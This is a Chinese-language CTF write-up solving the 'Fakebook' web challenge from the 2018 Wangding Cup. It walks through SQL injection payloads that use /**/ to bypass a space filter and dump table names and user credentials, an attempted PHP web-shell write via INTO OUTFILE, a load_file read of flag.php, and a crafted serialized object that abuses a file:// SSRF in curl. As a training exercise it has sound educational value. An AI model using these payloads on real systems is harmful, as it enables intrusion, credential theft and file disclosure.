[网鼎杯 2018]Fakebook

ooolllddd 957 字 发布于 2026-01-08


通过load_file读取

创建一下用户进入,看到no字段,尝试SQL注入

这里过滤了空格 用/**/绕过,payload如下

?no=1 order by 4#

?no=-1 union/**/select/**/1,database(),3,4#

?no=-1 union/**/select/**/1,group_concat(table_name),3,4/**/from/**/information_schema.tables/**/where/**/table_schema='fakebook'#

?no=-1 union/**/select/**/1,group_concat(column_name),3,4/**/from/**/information_schema.columns/**/where/**/table_name='users'#

-1 union/**/select/**/1,group_concat(username,'+',passwd,'+',data),3,4/**/from/**/users#

可以看到返回的data是经过序列化的结果,那我们就可以利用data字段来进行反序列化,这里我们先查看一下用户的权限

no=-1 union/**/select 1, user(), 3, 4#

先尝试写木马,发现没权限

?no=-1 union/**/select 1, '<?php system($_GET["cmd"]); ?>', 3, 4 into outfile '/var/www/html/shell.php'#

因为我们之前得到了绝对路径,同时又是root权限,可以通过load_file来读取文件

no=-1 union/**/select 1, load_file('/var/www/html/flag.php'), 3, 4#

查看源代码获取flag

反序列化读取

爆破目录看到robots.txt

下载user.php.bak

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

漏洞点:

function get($url) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url); // 直接将传入的 $url 用于 curl 请求
    // ...
    $output = curl_exec($ch); // 执行请求并获取内容
    // ...
    return $output;
}

由于是用blog来触发的,所以构造POC如下:

<?php
class UserInfo
{
    public $name = "admin";
    public $age = 18;
    public $blog = "file:///var/www/html/flag.php"; // 目标文件路径
}

$obj = new UserInfo();
echo serialize($obj);
?>
O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

之前我们说到过sql注入的username是第二位回显,那么data就是第四位回显,构造payload如下:

?no=-1 union/**/select 1, 2, 3, 'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#

查看源代码

base64解密即可

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最后更新于 2026-08-13